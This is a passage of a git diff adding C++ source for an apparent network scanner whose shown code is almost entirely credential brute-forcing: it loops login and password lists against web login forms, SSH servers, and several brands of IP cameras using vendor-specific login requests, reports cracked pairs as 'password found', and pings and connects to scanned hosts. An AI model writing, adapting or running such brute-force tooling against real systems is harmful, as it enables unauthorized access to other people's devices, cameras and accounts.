strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, "verification failed") == NULL + && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + + ) + { + if(i == 0) + { + ZeroMemory(request, sizeof(request)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + isActive = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); +#pragma endregion + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, sizeof(request)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(i == 0) ++i; + ZeroMemory(request, sizeof(request)); + }; + firstCycle = 1; + }; + } + else if(strstri(methodVal, "post") != NULL) + { + int passCounter = 1; + int firstCycle = 0; + for(int i = 0; i < MaxWFLogin; ++i) + { + if(globalScanFlag == false) break; + for(int j = firstCycle; j < MaxWFPass; ++j) + { + if(globalScanFlag == false) break; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(argData, userVal); + strcat(argData, "="); + strcat(argData, wfLoginLst[i]); + strcat(argData, "&"); + strcat(argData, passVal); + strcat(argData, "="); + strcat(argData, wfPassLst[j]); + + strcpy(request, "POST "); + strcat(request, actionVal); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + if(cookieLen != 0) + { + strcat(request, "\r\nCookie: "); + strcat(request, cookie); + }; + strcat(request, "\r\nContent-type: application/x-www-form-urlencoded\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-Length: "); + strcat(request, itoa(strlen(argData), b, 10)); + strcat(request, "\r\n\r\n"); + + strcat(request, argData); + + if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)"); + ++passCounter; + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, "verification failed") == NULL + && strstri(CSTR.lowerBuff, "403 Forbidden") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + ) + { + if(i == 0) + { + ZeroMemory(request, sizeof(request)); + ZeroMemory(argData, sizeof(argData)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + isActive = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); +#pragma endregion + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, sizeof(request)); + ZeroMemory(argData, sizeof(argData)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(i == 0) ++i; + ZeroMemory(request, sizeof(request)); + ZeroMemory(argData, sizeof(argData)); + }; + firstCycle = 1; + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Unknown method."); + }; + + ZeroMemory(request, sizeof(request)); + ZeroMemory(argData, sizeof(argData)); + + isActive = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); + + ++WF; + + BConInc(); + lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + BConDec(); + + return res; +}; +#pragma endregion +#pragma region SSH +int _sshConnect(char *user, char *pass, char *host, int port) +{ + char hostStr[128] = {0}; + ZeroMemory(hostStr, sizeof(hostStr)); + strcpy(hostStr, user); + strcat(hostStr, "@"); + strcat(hostStr, host); + + ssh_session my_ssh_session = ssh_new(); + if (my_ssh_session == NULL) + { + ssh_free(my_ssh_session); + return -1; + }; + + ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); + ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); + int sshTimeout = gTimeOut + 1; + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + int rc = ssh_connect(my_ssh_session); + + if (rc != SSH_OK) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++offlines; + return -2; + } + else + { + rc = ssh_userauth_password(my_ssh_session, NULL, pass); + if (rc != SSH_AUTH_SUCCESS) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + return -1; + }; + }; + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++ssh; + return 0; +}; +char *_get_ssh_banner(char *ip, int port) +{ + Connector con; + conSTR CSTR; + char recvBuff[256] = {0}; + con._EstablishConnection(ip, port, "", &CSTR); + if(CSTR.lowerBuff != NULL && CSTR.size != 0) + { + strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256); + }; + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + return recvBuff; +}; +int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner) +{ + int res = -1; + if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); + res = _sshConnect(user, pass, host, port); + if(res == 0) + { + stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + char goodStr[512] = {0}; + strcpy(goodStr, userPass); + strcat(goodStr, "@"); + strcat(goodStr, host); + strcat(goodStr, "|+|"); + strcat(goodStr, banner); + int bsz = strlen(goodStr); + CSTR->lowerBuff = new char[bsz + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + CSTR->size = bsz; + strncpy(CSTR->lowerBuff, goodStr, bsz); + memset(CSTR->lowerBuff + bsz, '\0', 1); + return 0; + }; + return res; +}; +int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) +{ + CSTR->lowerBuff = NULL; + CSTR->size = 0; + char login[32] = {0}; + char pass[32] = {0}; + char temp[64] = {0}; + isActive = 1; + BConInc(); + int sz = 0; + char *ptr1 = 0; + int res = -1; + for(int i = 0; i < MaxSSHPass; ++i) + { + if(globalScanFlag == false) break; + strcpy(temp, sshlpLst[i]); + ptr1 = strstr(temp, ":"); + sz = ptr1 - temp; + strncpy(login, temp, sz); + strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, port, CSTR, banner); + ZeroMemory(login, sizeof(login)); + ZeroMemory(pass, sizeof(pass)); + ZeroMemory(temp, sizeof(temp)); + if(res == 0) + { + if(i == 0) return -2; //Failhit + BConDec(); + isActive = 0; + return 0; + } + else if(res == -2) + { + BConDec(); + isActive = 0; + return -2; + }; + Sleep(500); + }; + BConDec(); + isActive = 0; + return -1; +}; +#pragma endregion +#pragma region IPCAMWeb +int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector negVector) +{ + char recvBuff[256] = {0}; + char recvBuff2[4096] = {0}; + + SOCKET sock; + sockaddr_in sockAddr; + int bTO; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + return -1; + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + return -1; + }; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + CSSOCKET(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + + if(cCode != SOCKET_ERROR) + { + int x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) + { + stt->doEmitionRedFoundData("[" + QString(type) + "] Send error! [" + QString(ip) + "]"); + CSSOCKET(sock); + return 0; + } + else + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + int x = 1; + int xx = 0; + ZeroMemory(recvBuff2, sizeof(recvBuff2)); + while(xx < 3072) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO); + if(x <= 0) break; + strncat(recvBuff2, recvBuff, x); + xx += x; + Activity += x; + }; + + if(BALogSwitched) stt->doEmitionBAData("Checked " + QString(type) + ": " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + + if(strlen(recvBuff2) > 0) { + bool result = true; + for(int i = 0; i < negVector.size(); ++i) + { + if(strstri(recvBuff2, negVector[i]) != NULL) + { + result = false; + break; + }; + }; + + if(result) + { + CSSOCKET(sock); + return 1; + }; + } + }; + }; + + CSSOCKET(sock); + return 0; +}; +lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + char login[128] = {0}; + char pass[128] = {0}; + char request[1024] = {0}; + isActive = 1; + int passCounter = 1; + + std::vector negVector; + if(strcmp(SPEC, "IPC") == 0) + { + negVector.push_back("Invalid"); + } + else if(strcmp(SPEC, "GEO") == 0) + { + negVector.push_back("Access denied"); + negVector.push_back("ErrNoSuchUsr.htm"); + } + else if(strcmp(SPEC, "EasyCam") == 0) + { + negVector.push_back("Set-Cookie: usrLevel=-1;path=/"); + } + else if(strcmp(SPEC, "Foscam") == 0) + { + negVector.push_back("0"); + negVector.push_back("-1"); + negVector.push_back("-2"); + negVector.push_back("-3"); + negVector.push_back("-4"); + negVector.push_back("-5"); + negVector.push_back("-6"); + negVector.push_back("-7"); + } + else if(strcmp(SPEC, "AVIOSYS") == 0) + { + negVector.push_back("Password Error"); + } + else if(strcmp(SPEC, "BUFFALO") == 0) + { + negVector.push_back("403 Forbidden"); + } + else if(strcmp(SPEC, "DVS") == 0) + { + negVector.push_back("Non-Existed"); + } + else if(strcmp(SPEC, "IPCAM") == 0) + { + negVector.push_back("var check=\"0\""); + negVector.push_back("var authLevel =\"0\";"); + } + else if(strcmp(SPEC, "IEORFOREFOX") == 0) + { + negVector.push_back("AAA()"); + negVector.push_back("Имя или пароль неверные!"); + negVector.push_back("Возврат"); + negVector.push_back("HTTP/1.0 302 Found"); + } + else + { + stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + for(int i = 0; i < MaxLogin; i++) + { + if(globalScanFlag == false) break; + if(strcmp(loginLst[i], " ") == 0) continue; + ZeroMemory(login, sizeof(login)); + strcpy(login, loginLst[i]); + for(int j = 0; j < MaxPass; j++) + { + if(globalScanFlag == false) break; + if(strcmp(passLst[j], " ") == 0) continue; + + ZeroMemory(pass, sizeof(pass)); + strcpy(pass, passLst[j]); + + ZeroMemory(request, sizeof(request)); + if(strcmp(SPEC, "IPC") == 0) + { + strcpy(request, "GET /login.xml?user="); + strcat(request, login); + strcat(request, "&usr="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + } + else if(strcmp(SPEC, "GEO") == 0) + { + strcpy(request, "GET /Login.cgi?username="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + } + else if(strcmp(SPEC, "EasyCam") == 0) + { + strcpy(request, "GET /login.xml?user="); + strcat(request, login); + strcat(request, "&usr="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + } + else if(strcmp(SPEC, "Foscam") == 0) + { + strcpy(request, "GET /cgi-bin/CGIProxy.fcgi?usr="); + strcat(request, login); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, "&cmd=logIn&usrName="); + strcat(request, login); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + } + else if(strcmp(SPEC, "AVIOSYS") == 0) + { + strcpy(request, "GET /check_user.html?UserName="); + strcat(request, login); + strcat(request, "&PassWord="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + } + else if(strcmp(SPEC, "BUFFALO") == 0) + { + strcpy(request, "POST /rpc/login HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); + int loginLength = strlen(login); + int passLength = strlen(pass); + int sz = loginLength + passLength + strlen("user=&password="); + char *passString = new char[sz + 1]; + ZeroMemory(passString, sizeof(passString)); + strcpy(passString, "user="); + strcat(passString, login); + strcat(passString, "&password="); + strcat(passString, pass); + strcat(request, "\r\nContent-Length: "); + char tempBuff[16] = {0}; + strcat(request, itoa(sz, tempBuff, 10)); + strcat(request, "\r\n\r\n"); + strcat(request, passString); + delete []passString; + } + else if(strcmp(SPEC, "DVS") == 0) + { + strcpy(request, "POST /login HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); + int loginLength = strlen(login); + int passLength = strlen(pass); + int sz = loginLength + passLength + strlen("langs=en&user=&password=&submit=+Login+"); + char *passString = new char[sz + 1]; + ZeroMemory(passString, sizeof(passString)); + strcpy(passString, "langs=en&user="); + strcat(passString, login); + strcat(passString, "&password="); + strcat(passString, pass); + strcat(passString, "&submit=+Login+"); + strcat(request, "\r\nContent-Length: "); + char tempBuff[16] = {0}; + strcat(request, itoa(sz, tempBuff, 10)); + strcat(request, "\r\n\r\n"); + strcat(request, passString); + delete []passString; + } + else if(strcmp(SPEC, "IPCAM") == 0) + { + strcpy(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name="); + strcat(request, login); + strcat(request, "&-passwd="); + strcat(request, pass); + strcat(request, "&-time=1416767330831 HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + + } + else if(strcmp(SPEC, "IEORFOREFOX") == 0) + { + strcpy(request, "POST /logincheck.rsp?type=1 HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: keep-alive"); + int loginLength = strlen(login); + int passLength = strlen(pass); + int sz = loginLength + passLength + strlen("username=&userpwd="); + char *passString = new char[sz + 1]; + ZeroMemory(passString, sizeof(passString)); + strcpy(passString, "username="); + strcat(passString, login); + strcat(passString, "&userpwd="); + strcat(passString, pass); + strcat(request, "\r\nContent-Length: "); + char tempBuff[16] = {0}; + strcat(request, itoa(sz, tempBuff, 10)); + strcat(request, "\r\n\r\n"); + strcat(request, passString); + delete []passString; + }; + + int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); + + if(res == 1) + { + isActive = 0; + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); + return lps; + } + else if(res == -1) + { + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + ++passCounter; + }; + }; + isActive = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) +{ + while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); + + BConInc(); + lopaStr res = _IPCameraBrute(ip, port, SPEC); + BConDec(); + + return res; +}; +#pragma endregion +int _pingMyTarget(char *ip) +{ + HANDLE hIcmpFile; + unsigned long ipaddr = INADDR_NONE; + DWORD dwRetVal = 0; + char SendData[32] = "Data Buffer"; + LPVOID ReplyBuffer = NULL; + DWORD ReplySize = 0; + + ipaddr = inet_addr(ip); + + if (ipaddr == INADDR_NONE) + { + stt->doEmitionRedFoundData("[Pinger] INADDR_NONE! [" + QString(ip) + "]"); + return 0; + } + + hIcmpFile = IcmpCreateFile(); + if (hIcmpFile == INVALID_HANDLE_VALUE) + { + stt->doEmitionRedFoundData("[Pinger] Unable to open handle. [" + QString::number(GetLastError()) + "]"); + return 0; + } + + ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData); + ReplyBuffer = (VOID*) malloc(ReplySize); + if (ReplyBuffer == NULL) + { + stt->doEmitionRedFoundData("[Pinger] Unable to allocate memory."); + return 0; + } + + + dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), + NULL, ReplyBuffer, ReplySize, gPingTimeout); + if (dwRetVal != 0) { + PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; + struct in_addr ReplyAddr; + ReplyAddr.S_un.S_addr = pEchoReply->Address; + printf("\tSent icmp message to %s\n", "127.0.0.1"); + if (dwRetVal > 1) + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } + else + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } + + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received from: " + QString(inet_ntoa( ReplyAddr )) + "; Status = " + QString::number(pEchoReply->Status) + "; Roundtrip time = " + QString::number(pEchoReply->RoundTripTime) + "ms."); + return 1; + } + else + { + printf("\tCall to IcmpSendEcho failed.\n"); + printf("\tIcmpSendEcho returned error: %ld\n", GetLastError() ); + if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); + return 0; + }; +}; +QString strIP; +QString strPort; +const char *buff1 = "GET / HTTP/1.1\r\nHost: "; +const char *buff2 = "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n\r\n"; +int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR) +{ + char banner[256] = {0}; + strncpy(banner, _get_ssh_banner(ip, port), 256); + if(strlen(banner) > 0) + { + return _EstablishSSHConnection(ip, port, CSTR, banner); + }; +}; +int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) +{ + if(gPingNScan) + { + if(_pingMyTarget(ip) == 0) + { + return -2; + }; + }; + + char mes[512] = {0}; + conSTR CSTR; + CSTR.lowerBuff = NULL; + CSTR.size = 0; + + int strFlag = 0; + strcpy(mes, buff1); + strcat(mes, ip); + int port = atoi(portC); + if(port != 80){ + strcat(mes, ":"); + strcat(mes, portC); + }; + strcat(mes, buff2); + int cRes; + + if(port == 443) cRes = _EstablishSSLConnection(ip, port, mes, &CSTR); + else if(port == 22) cRes = _SSHLobby(ip, port, &CSTR); + else cRes = _EstablishConnection(ip, port, mes, &CSTR); + int size = CSTR.size; + + if(cRes == -2) return -2; + + if(size > 0 && cRes != -1) + { + ++Alive; + ++found; + stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); + + Lexems lx; + lx._filler(port, CSTR.lowerBuff, ip, size, &lx, hl); + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + strFlag = 1; +}; diff --git a/externData.h b/externData.h new file mode 100644 index 0000000..0dd92da --- /dev/null +++ b/externData.h @@ -0,0 +1,32 @@ +#define RECV_MAX_SIZE 350000 +#define REQUEST_MAX_SIZE 4096 +#define SD_BOTH 2 +#define PORTSET 